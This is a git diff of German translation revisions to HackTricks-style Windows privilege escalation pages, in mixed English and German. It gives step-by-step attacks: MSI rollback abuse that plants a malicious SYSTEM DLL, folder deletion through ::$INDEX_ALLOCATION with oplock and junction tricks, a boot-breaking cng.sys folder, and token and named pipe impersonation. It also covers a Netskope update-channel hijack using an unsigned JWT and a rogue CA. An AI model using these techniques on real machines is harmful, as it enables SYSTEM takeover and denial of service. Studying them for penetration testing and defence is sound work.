Reapply Weak ACL +- Nachdem das `rbs created`-Event empfangen wurde: +- Der Windows Installer **wendet starke ACLs erneut auf `C:\Config.Msi` an**. +- Da du jedoch noch einen Handle mit `WRITE_DAC` offen hast, kannst du **wieder schwache ACLs anwenden**. -- Schritt 11: Fake `.rbs` und `.rbf` ablegen - - Überschreibe die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist: - - deine `.rbf`-Datei (malicious DLL) an einen **privilegierten Ort** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`), - - und deine gefälschte `.rbf` abzulegen, die eine **bösartige SYSTEM-Level-Payload DLL** enthält. +> ACLs werden **nur beim Öffnen eines Handles** durchgesetzt, daher kannst du weiterhin in den Ordner schreiben. -- Schritt 12: Rollback auslösen - - Signaliere das Synchronisations-Event, damit der Installer fortsetzt. - - Eine **type 19 custom action (`ErrorOut`)** ist konfiguriert, um die Installation an einem bekannten Punkt absichtlich fehlschlagen zu lassen. - - Das löst den **Rollback** aus. +- Step 11: Drop Fake `.rbs` and `.rbf` +- Überschreibe die `.rbs`-Datei mit einem **gefälschten Rollback-Skript**, das Windows anweist: +- dein `.rbf` (malicious DLL) in einen **privilegierten Pfad** wiederherzustellen (z. B. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Lege deine gefälschte `.rbf` ab, die eine **bösartige SYSTEM-level payload DLL** enthält. -- Schritt 13: SYSTEM installiert deine DLL - - Der Windows Installer: - - liest dein bösartiges `.rbs`, - - kopiert deine `.rbf`-DLL in den Zielort. - - Du hast jetzt deine **bösartige DLL in einem von SYSTEM geladenen Pfad**. +- Step 12: Trigger the Rollback +- Signalisiere das Sync-Event, damit der Installer fortfährt. +- Eine **type 19 custom action (`ErrorOut`)** ist so konfiguriert, dass sie die Installation absichtlich an einem bekannten Punkt fehlschlagen lässt. +- Das verursacht, dass der **Rollback beginnt**. + +- Step 13: SYSTEM Installs Your DLL +- Windows Installer: +- liest dein bösartiges `.rbs`, +- kopiert deine `.rbf`-DLL in den Zielpfad. +- Du hast jetzt deine **malicious DLL in einem von SYSTEM geladenen Pfad**. + +- Final Step: Execute SYSTEM Code +- Starte ein vertrauenswürdiges **auto-elevated binary** (z. B. `osk.exe`), das die von dir hijackte DLL lädt. +- **Boom**: Dein Code wird **als SYSTEM** ausgeführt. -- Finaler Schritt: SYSTEM-Code ausführen - - Starte ein vertrauenswürdiges **auto-elevated binary** (z. B. `osk.exe`), das die von dir hijackte DLL lädt. - - **Boom**: Dein Code wird **als SYSTEM** ausgeführt. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP Die Haupt-MSI-Rollback-Technik (die vorherige) setzt voraus, dass du einen **gesamten Ordner** löschen kannst (z. B. `C:\Config.Msi`). Aber was, wenn deine Schwachstelle nur **arbitrary file deletion** erlaubt? -Du könntest NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternate data stream namens: +Du könntest NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, der genannt wird: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1496,35 +1494,35 @@ Dieser Stream speichert die **Index-Metadaten** des Ordners. Wenn Sie also **den `::$INDEX_ALLOCATION`-Stream eines Ordners löschen**, entfernt NTFS **den gesamten Ordner** aus dem Dateisystem. -Das können Sie mit Standard-APIs zum Löschen von Dateien wie folgt tun: +Sie können dies mit Standard-Dateilösch-APIs wie: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Auch wenn du eine *file* delete API aufrufst, **löscht sie den Ordner selbst**. +> Auch wenn du eine *file* delete API aufrufst, löscht sie **den Ordner selbst**. -### From Folder Contents Delete to SYSTEM EoP -What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**? +### Von Folder Contents Delete zu SYSTEM EoP +Was, wenn dein Primitive es dir nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber es **das Löschen der *Inhalte* eines vom Angreifer kontrollierten Ordners erlaubt**? -1. Schritt 1: Richte einen Köderordner und eine Datei ein +1. Schritt 1: Einen Köder-Ordner und eine Datei einrichten - Erstelle: `C:\temp\folder1` - Darin: `C:\temp\folder1\file1.txt` 2. Schritt 2: Platziere einen **oplock** auf `file1.txt` -- Der oplock **unterbricht die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen. +- Der oplock **pausiert die Ausführung**, wenn ein privilegierter Prozess versucht, `file1.txt` zu löschen. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Schritt 3: SYSTEM-Prozess auslösen (z. B. `SilentCleanup`) -- Dieser Prozess durchsucht Ordner (z. B. `%TEMP%`) und versucht, deren Inhalte zu löschen. -- Wenn er `file1.txt` erreicht, wird die **oplock** ausgelöst und die Kontrolle an deinen callback übergeben. +- Dieser Prozess durchsucht Ordner (z. B. `%TEMP%`) und versucht, deren Inhalt zu löschen. +- Wenn er `file1.txt` erreicht, **löst das oplock aus** und übergibt die Kontrolle an deinen Callback. -4. Schritt 4: Innerhalb des oplock-Callbacks – die Löschung umleiten +4. Schritt 4: Innerhalb des oplock-Callbacks – leite die Löschung um -- Option A: Verschiebe `file1.txt` an einen anderen Ort -- Dadurch wird `folder1` geleert, ohne die oplock zu brechen. -- Lösche `file1.txt` nicht direkt — das würde die oplock vorzeitig freigeben. +- Option A: Verschiebe `file1.txt` woanders +- Das leert `folder1`, ohne das oplock zu brechen. +- Lösche `file1.txt` nicht direkt — das würde das oplock vorzeitig freigeben. - Option B: Wandle `folder1` in eine **junction** um: ```bash @@ -1536,68 +1534,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Dies richtet sich auf den NTFS-internen Stream, der die Ordner-Metadaten speichert — das Löschen davon löscht den Ordner. +> Dies zielt auf den NTFS-internen Stream ab, der die Ordnermetadaten speichert — das Löschen davon löscht den Ordner. -5. Schritt 5: Oplock freigeben -- Der SYSTEM-Prozess fährt fort und versucht, `file1.txt` zu löschen. -- Aber jetzt, aufgrund der junction + symlink, wird tatsächlich gelöscht: +5. Schritt 5: oplock freigeben +- Der SYSTEM-Prozess läuft weiter und versucht, `file1.txt` zu löschen. +- Aber jetzt, aufgrund der junction + symlink, löscht er tatsächlich: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Ergebnis**: `C:\Config.Msi` wird von SYSTEM gelöscht. -### Von Arbitrary Folder Create zu Permanent DoS +### Von beliebiger Ordnererstellung zu dauerhaftem DoS -Nutze einen primitiven Mechanismus, der es dir erlaubt, **create an arbitrary folder as SYSTEM/admin** — selbst wenn **you can’t write files** oder **set weak permissions**. +Nutze ein Primitiv, das es dir erlaubt, **einen beliebigen Ordner als SYSTEM/admin zu erstellen** — selbst wenn du **keine Dateien schreiben kannst** oder **keine schwachen Berechtigungen setzen kannst**. -Erstelle einen **Ordner** (keine Datei) mit dem Namen eines **kritischen Windows-Treibers**, z. B.: +Erstelle einen **Ordner** (not a file) mit dem Namen eines **kritischen Windows-Treibers**, z.B.: ``` C:\Windows\System32\cng.sys ``` - Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber `cng.sys`. -- Wenn Sie ihn **vorab als Ordner anlegen**, kann Windows den tatsächlichen Treiber beim Booten nicht laden. -- Während des Bootvorgangs versucht Windows dann, `cng.sys` zu laden. -- Es entdeckt den Ordner, **kann den eigentlichen Treiber nicht auflösen**, und **stürzt ab oder stoppt den Bootvorgang**. -- Es gibt **keinen Fallback** und **keine Wiederherstellung** ohne externe Intervention (z. B. Bootreparatur oder Zugriff auf die Festplatte). +- Wenn Sie ihn **vorab als Ordner anlegen**, kann Windows den eigentlichen Treiber beim Booten nicht laden. +- Dann versucht Windows, `cng.sys` während des Bootens zu laden. +- Es sieht den Ordner, **kann den eigentlichen Treiber nicht auflösen**, und **stürzt ab oder stoppt den Bootvorgang**. +- Es gibt **keine Fallback-Option**, und **keine Wiederherstellung** ohne externe Eingriffe (z. B. Boot-Reparatur oder Festplattenzugriff). -## **Von High Integrity zu SYSTEM** +## **Von High Integrity zu System** ### **Neuer Dienst** -Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der **Pfad zu SYSTEM** ganz einfach sein, indem Sie **einen neuen Dienst erstellen und ausführen**: +Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der **Weg zu SYSTEM** einfach sein, indem Sie einfach **einen neuen Dienst erstellen und ausführen**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Wenn Sie eine Service-Binary erstellen, stellen Sie sicher, dass es sich um einen gültigen Service handelt oder dass die Binary die notwendigen Aktionen schnell ausführt, da sie nach 20s beendet wird, wenn es kein gültiger Service ist. +> Beim Erstellen einer service binary darauf achten, dass es ein gültiger Service ist oder die binary die notwendigen Aktionen schnell ausführt, da sie sonst nach 20s beendet wird. ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[Mehr Informationen über die beteiligten Registry-Keys und wie man ein _.msi_-Paket installiert hier.](#alwaysinstallelevated) +Von einem High Integrity process aus kannst du versuchen, die **AlwaysInstallElevated registry entries** zu aktivieren und eine reverse shell mithilfe eines _**.msi**_ Wrappers zu **installieren**.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Sie können** [**den Code hier finden**](seimpersonate-from-high-to-system.md)**.** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ -Die Verwendung dieser Technik wählt normalerweise **irgendeinen Prozess, der als SYSTEM mit allen Token-Privilegien läuft** (_ja, Sie können SYSTEM-Prozesse finden, die nicht alle Token-Privilegien haben_).\ -**Sie können ein** [**Beispielcode, der die vorgeschlagene Technik ausführt, hier finden**](sedebug-+-seimpersonate-copy-token.md)**.** +Wenn du diese token privileges hast (wahrscheinlich findest du diese bereits in einem High Integrity process), kannst du fast jeden Prozess (keine protected processes) mit dem SeDebug-Privileg öffnen, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.\ +Mit dieser Technik wählt man üblicherweise einen Prozess, der als SYSTEM läuft und alle token privileges besitzt (_ja, du kannst SYSTEM processes ohne alle token privileges finden_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -Wenn Sie [**mehr über name pipes erfahren möchten, sollten Sie dies lesen**](#named-pipe-client-impersonation).\ -Wenn Sie ein Beispiel lesen möchten, [**wie man von high integrity zu System mit name pipes gelangt, lesen Sie dies**](from-high-integrity-to-system-with-name-pipes.md). +Diese Technik wird von meterpreter verwendet, um in `getsystem` zu eskalieren. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, der auf diese Pipe schreibt. Dann kann der **Server**, der die Pipe unter Verwendung des **`SeImpersonate`**-Privilegs erstellt hat, das Token des Pipe-Clients (des Service) impersonifizieren und SYSTEM-Privilegien erlangen.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ -**Sie können** [**mehr über Dll hijacking hier lernen**](dll-hijacking/index.html)**.** +Wenn es dir gelingt, eine dll zu hijacken, die von einem als **SYSTEM** laufenden **process** geladen wird, kannst du beliebigen Code mit diesen Rechten ausführen. Daher ist Dll Hijacking auch für diese Art der Privilege Escalation nützlich und außerdem viel **leichter von einem high integrity process aus zu erreichen**, da dieser **write permissions** auf die Ordner hat, die zum Laden von DLLs verwendet werden.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1605,44 +1603,44 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### Von LOCAL SERVICE oder NETWORK SERVICE zu full privs +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Siehe:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Mehr Hilfe +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Nützliche Tools +## Useful tools -**Bestes Tool, um Windows local privilege escalation Vektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Fehlkonfigurationen und sensitive Dateien (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Erkannt.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft einige mögliche Fehlkonfigurationen und sammelt Infos (**[**siehe hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Prüft auf Fehlkonfigurationen und sensitive Dateien (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Prüft auf mögliche Fehlkonfigurationen und sammelt Informationen (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Prüft auf Fehlkonfigurationen**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal -Thorough verwenden.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Credentials aus Credential Manager. Erkannt.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Sprayt gesammelte Passwörter über die Domain**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS Spoofer und MITM-Tool.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basis Windows Privesc-Aufzählung**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Suche nach bekannten Privesc-Schwachstellen (VERALTET zugunsten von Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale Checks **(Benötigt Admin-Rechte)** +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrahiert Credentials aus dem Credential Manager. Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Verteilt gesammelte Passwörter über die Domain**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer und man-in-the-middle tool.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Einfache privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Sucht nach bekannten privesc Schwachstellen (DEPRECATED für Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale Checks **(Benötigt Adminrechte)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Suche nach bekannten Privesc-Schwachstellen (muss mit VisualStudio kompiliert werden) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht das Host-System nach Fehlkonfigurationen (mehr ein Information-Gathering-Tool als reines Privesc) (muss kompiliert werden) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Credentials aus vielen Programmen (precompiled exe auf GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Sucht nach bekannten privesc Schwachstellen (muss mit VisualStudio kompiliert werden) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Durchsucht den Host nach Fehlkonfigurationen (eher ein Informationssammler als privesc-Tool) (muss kompiliert werden) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrahiert Credentials aus vielen Programmen (precompiled exe in github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port von PowerUp nach C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Fehlkonfigurationen (executable precompiled auf GitHub). Nicht empfohlen. Funktioniert nicht gut unter Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Prüft auf mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut unter Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Prüft auf Fehlkonfigurationen (executable precompiled in github). Nicht empfohlen. Funktioniert nicht gut in Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Prüft mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut in Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool basierend auf diesem Post (benötigt accesschk nicht, kann es aber verwenden). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool erstellt basierend auf diesem Beitrag (braucht accesschk nicht zum Funktionieren, kann es aber verwenden). **Local** @@ -1653,7 +1651,7 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as _multi/recon/local_exploit_suggestor_ -Sie müssen das Projekt mit der korrekten Version von .NET kompilieren ([siehe dies](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Um die installierte Version von .NET auf dem Opfer-Host zu sehen, können Sie: +Du musst das Projekt mit der korrekten Version von .NET kompilieren ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Um die installierte .NET-Version auf dem Zielhost anzuzeigen, kannst du: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 9073729b3..33bf2223c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# Missbrauch von Enterprise Auto‑Updaters und privilegierter IPC (z. B. Netskope stAgentSvc) +# Missbrauch von Enterprise-Auto-Updaters und privilegiertem IPC (z. B. Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -Diese Seite verallgemeinert eine Klasse von Windows Local Privilege Escalation‑Ketten, die in Enterprise‑Endpoint‑Agenten und Updatern vorkommen und eine niedrigschwellige IPC‑Schnittstelle sowie einen privilegierten Update‑Flow bereitstellen. Ein repräsentatives Beispiel ist Netskope Client für Windows < R129 (CVE-2025-0309), bei dem ein niedrig privilegierter Benutzer eine Enrollment auf einen Angreifer‑kontrollierten Server erzwingen und anschließend ein bösartiges MSI liefern kann, das vom SYSTEM‑Dienst installiert wird. +Diese Seite verallgemeinert eine Klasse von Windows Local Privilege Escalation-Ketten, die in Enterprise‑Endpoint‑Agents und Updaters gefunden werden und eine niedrigschwellige IPC‑Schnittstelle sowie einen privilegierten Update‑Flow bereitstellen. Ein repräsentatives Beispiel ist Netskope Client for Windows < R129 (CVE-2025-0309), bei dem ein niedrig privilegierter Benutzer eine Registrierung zu einem vom Angreifer kontrollierten Server erzwingen und anschließend ein bösartiges MSI ausliefern kann, das der SYSTEM‑Dienst installiert. -Kernideen, die sich gegen ähnliche Produkte wiederverwenden lassen: -- Missbrauche die localhost‑IPC eines privilegierten Dienstes, um eine erneute Enrollment oder Neukonfiguration auf einen Angreifer‑Server zu erzwingen. -- Implementiere die Update‑Endpoints des Vendors, liefere ein rogue Trusted Root CA und weise den Updater auf ein bösartiges, „signed“ Paket. +Wesentliche Ideen, die Sie gegen ähnliche Produkte wiederverwenden können: +- Missbrauche die localhost‑IPC eines privilegierten Dienstes, um eine Re‑Enrollment oder Neukonfiguration zu einem Angreifer‑Server zu erzwingen. +- Implementiere die Update‑Endpoints des Vendors, liefere ein bösartiges Trusted Root CA und weise den Updater auf ein bösartiges, „signiertes“ Paket. - Umgehe schwache Signer‑Checks (CN allow‑lists), optionale Digest‑Flags und lax konfigurierte MSI‑Eigenschaften. -- Wenn IPC „encrypted“ ist, leite Key/IV aus weltweit lesbaren Maschinen‑Identifikatoren ab, die in der Registry gespeichert sind. -- Wenn der Dienst Anrufer nach Image‑Pfad/Prozessname einschränkt, injiziere in einen allow‑listed Prozess oder spawn einen Prozess suspended und bootstrappe deine DLL via eines minimalen thread‑context patches. +- Falls IPC „verschlüsselt“ ist, leite den key/IV aus für alle lesbaren Maschinenidentifikatoren ab, die in der Registry gespeichert sind. +- Falls der Service Anrufer nach image path/process name einschränkt, injiziere in einen allow‑listed Prozess oder starte einen Prozess im suspended‑Zustand und bootstrappe deine DLL via einen minimalen thread‑context patch. --- -## 1) Erzwingen der Enrollment zu einem Angreifer‑Server über localhost‑IPC +## 1) Erzwingen der Enrollment zu einem Angreifer‑Server über localhost IPC -Viele Agenten liefern einen User‑Mode UI‑Prozess, der über localhost TCP mittels JSON mit einem SYSTEM‑Dienst kommuniziert. +Viele Agenten enthalten einen User‑Mode UI‑Prozess, der über localhost TCP mit einem SYSTEM‑Dienst mittels JSON kommuniziert. Beobachtet in Netskope: -- UI: stAgentUI (niedrige Integrität) ↔ Service: stAgentSvc (SYSTEM) +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN Exploit‑Ablauf: -1) Erzeuge ein JWT Enrollment‑Token, dessen Claims den Backend‑Host steuern (z. B. AddonUrl). Verwende alg=None, sodass keine Signatur erforderlich ist. -2) Sende die IPC‑Nachricht, die den Provisioning‑Befehl mit deinem JWT und dem Tenant‑Namen auslöst: +1) Erstelle ein JWT‑Enrollment‑Token, dessen Claims den Backend‑Host steuern (z. B. AddonUrl). Verwende alg=None, sodass keine Signatur erforderlich ist. +2) Sende die IPC‑Nachricht, die den Provisioning‑Befehl mit deinem JWT und Tenant‑Namen aufruft: ```json { "148": { @@ -31,88 +31,88 @@ Exploit‑Ablauf: } } ``` -3) Der Dienst beginnt, deinen rogue server wegen enrollment/config anzusprechen, z. B.: +3) Der Service beginnt, deinen rogue server für enrollment/config anzusprechen, z. B.: - /v1/externalhost?service=enrollment - /config/user/getbrandingbyemail Hinweise: -- Wenn die Caller‑Verifizierung pfad-/namenbasiert ist, lasse die Anfrage von einem auf der Allow‑List stehenden Vendor‑Binary ausgehen (siehe §4). +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). --- ## 2) Hijacking the update channel to run code as SYSTEM -Sobald der Client mit deinem Server kommuniziert, implementiere die erwarteten Endpunkte und leite ihn zu einem attacker MSI. Typische Abfolge: +Sobald der client mit deinem server spricht, implementiere die erwarteten endpoints und lenke ihn auf ein attacker MSI. Typische Sequenz: -1) /v2/config/org/clientconfig → Gib eine JSON‑Konfiguration zurück mit einem sehr kurzen Updater‑Intervall, z. B.: +1) /v2/config/org/clientconfig → Gib eine JSON config mit einem sehr kurzen updater interval zurück, z. B.: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Return a PEM CA certificate. Der Dienst installiert es in den Local Machine Trusted Root store. -3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. +2) /config/ca/cert → Gibt ein PEM-CA-Zertifikat zurück. Der Dienst installiert es im Local Machine Trusted Root store. +3) /v2/checkupdate → Liefert Metadaten, die auf ein bösartiges MSI und eine gefälschte Version verweisen. Bypassing common checks seen in the wild: -- Signer CN allow‑list: der Dienst prüft möglicherweise nur, ob das Subject CN gleich “netSkope Inc” oder “Netskope, Inc.” ist. Deine rogue CA kann ein Leaf mit diesem CN ausstellen und das MSI signieren. -- CERT_DIGEST property: füge eine harmlose MSI‑Eigenschaft mit dem Namen CERT_DIGEST ein. Wird bei der Installation nicht durchgesetzt. +- Signer CN allow‑list: der Dienst prüft möglicherweise nur, ob der Subject CN gleich „netSkope Inc“ oder „Netskope, Inc.“ ist. Deine Rogue-CA kann ein Leaf mit diesem CN ausstellen und das MSI signieren. +- CERT_DIGEST property: Füge eine harmlose MSI‑Property namens CERT_DIGEST hinzu. Keine Durchsetzung beim Install. - Optional digest enforcement: ein Config‑Flag (z. B. check_msi_digest=false) deaktiviert zusätzliche kryptografische Validierung. -Result: Der SYSTEM‑Dienst installiert dein MSI von +Result: der SYSTEM‑Dienst installiert dein MSI aus C:\ProgramData\Netskope\stAgent\data\*.msi und führt beliebigen Code als NT AUTHORITY\SYSTEM aus. --- ## 3) Forging encrypted IPC requests (when present) -Ab R127 verpackte Netskope IPC‑JSON in ein encryptData‑Feld, das wie Base64 aussieht. Reverse‑Engineering zeigte AES mit Key/IV, die aus registry‑Werten abgeleitet werden, die von jedem Benutzer lesbar sind: +Ab R127 hat Netskope IPC‑JSON in ein encryptData‑Feld verpackt, das wie Base64 aussieht. Reverse‑Engineering zeigte AES mit Key/IV, die aus Registry‑Werten abgeleitet werden, die von jedem Benutzer gelesen werden können: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Angreifer können die Verschlüsselung reproduzieren und gültige verschlüsselte Befehle von einem Standard‑Benutzer senden. Genereller Tipp: wenn ein Agent plötzlich seine IPC „verschlüsselt“, suche nach device IDs, product GUIDs, install IDs unter HKLM als Material. +Angreifer können die Verschlüsselung reproduzieren und gültige verschlüsselte Befehle von einem Standardbenutzer senden. Allgemeiner Tipp: wenn ein Agent plötzlich seine IPC „verschlüsselt“, suche nach device IDs, product GUIDs, install IDs unter HKLM als Material. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Einige Dienste versuchen, den Peer zu authentifizieren, indem sie die PID der TCP‑Verbindung auflösen und den Image‑Pfad/-Namen mit allow‑gelisteten Vendor‑Binaries unter Program Files vergleichen (z. B. stagentui.exe, bwansvc.exe, epdlp.exe). +Einige Dienste versuchen, den Peer zu authentifizieren, indem sie die PID der TCP‑Verbindung auflösen und den Image‑Path/Name gegen allow‑gelistete Vendor‑Binaries unter Program Files vergleichen (z. B. stagentui.exe, bwansvc.exe, epdlp.exe). -Zwei praktische Umgehungen: -- DLL‑Injection in einen allow‑gelisteten Prozess (z. B. nsdiag.exe) und Proxying der IPC von innen heraus. -- Einen allow‑gelisteten Binary suspended starten und dein Proxy‑DLL bootstrappen ohne CreateRemoteThread (siehe §5), um driver‑durchgesetzte Tamper‑Regeln zu erfüllen. +Zwei praktische Bypässe: +- DLL‑Injection in einen allow‑gelisteten Prozess (z. B. nsdiag.exe) und Proxy‑IPC von innen heraus. +- Starte ein allow‑gelistetes Binary im Suspended‑Zustand und bootstrappe deine Proxy‑DLL ohne CreateRemoteThread (siehe §5), um driver‑enforced Tamper‑Regeln zu erfüllen. --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -Produkte liefern oft einen minifilter/OB callbacks Driver (z. B. Stadrv), der gefährliche Rechte von Handles zu geschützten Prozessen entfernt: +Produkte bringen oft einen minifilter/OB callbacks Driver (z. B. 